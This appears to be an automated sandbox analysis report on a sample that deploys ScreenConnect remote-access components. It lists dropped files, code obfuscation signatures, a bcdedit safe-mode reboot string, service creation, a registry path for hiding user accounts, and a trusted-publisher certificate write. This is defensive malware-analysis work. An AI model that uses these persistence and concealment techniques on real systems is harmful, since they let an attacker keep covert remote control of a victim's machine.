Source:	Binary string: symbols\dll\mscorlib.pdbLb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEEA8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871561986.0000000002592000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: creenConnect.Core.PDBDL33 source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER494D.tmp.dmp.13.dr

PE file contains a valid data directory to section mapping

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: ScreenConnect.ClientService.dll.1.dr

Static PE information: 0xC5B9CEDE [Wed Feb 13 13:04:30 2075 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

0_2_00621000

PE file contains an invalid checksum

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: real checksum: 0x14df5 should be: 0x16eed

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_00621BC0 push ecx; ret	0_2_00621BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3D92D2A5 pushad ; iretd	1_2_00007FFC3D92D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA5D2B5 push ds; iretd	1_2_00007FFC3DA5D42F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA47D00 push eax; retf	1_2_00007FFC3DA47D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA51D45 push 1BE95F14h; retn 000Ch	1_2_00007FFC3DA51CF2
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4A645 push esi; ret	1_2_00007FFC3DA52507
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA524B9 push esi; ret	1_2_00007FFC3DA52507
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA5A492 push ss; retf	1_2_00007FFC3DA5A494
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4A6B8 push esi; ret	1_2_00007FFC3DA52507
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4A6BD push esi; ret	1_2_00007FFC3DA52507
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA400BD pushad ; iretd	1_2_00007FFC3DA400C1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4842E pushad ; ret	1_2_00007FFC3DA4845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFC3DA4845E push eax; ret	1_2_00007FFC3DA4846D
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA62E40 pushad ; ret	9_2_00007FFC3DA62E73
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA78071 pushad ; retf	9_2_00007FFC3DA7809D
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA63FF2 pushad ; iretd	9_2_00007FFC3DA63FF3
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA630B2 pushad ; iretd	9_2_00007FFC3DA630B3
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA600BD pushad ; iretd	9_2_00007FFC3DA600C1
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA7842E pushad ; ret	9_2_00007FFC3DA7845D
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DA7845E push eax; ret	9_2_00007FFC3DA7846D
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FFC3DD52C95 push es; retf	9_2_00007FFC3DD52CF7

Persistence and Installation Behavior

Drops PE files

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_e9b66cfe0ceec305\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..dows_4b14c015c87c1ad8_0018.0004_none_5818e70d39ed8031\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..core_4b14c015c87c1ad8_0018.0004_none_53a10f2bfd9f6d01\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..vice_4b14c015c87c1ad8_0018.0004_none_04f4a774935ed06c\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to dropped file

May use bcdedit to modify the Windows boot settings

Source: ScreenConnect.ClientService.dll.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}

Boot Survival

Creates or modifies windows services

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.00000000029EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1871339597.0000000000ED0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.exe, 0000000A.00000002.1832015455.00000000056C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831463096.0000000004FC2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Stores large binary data to the registry

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
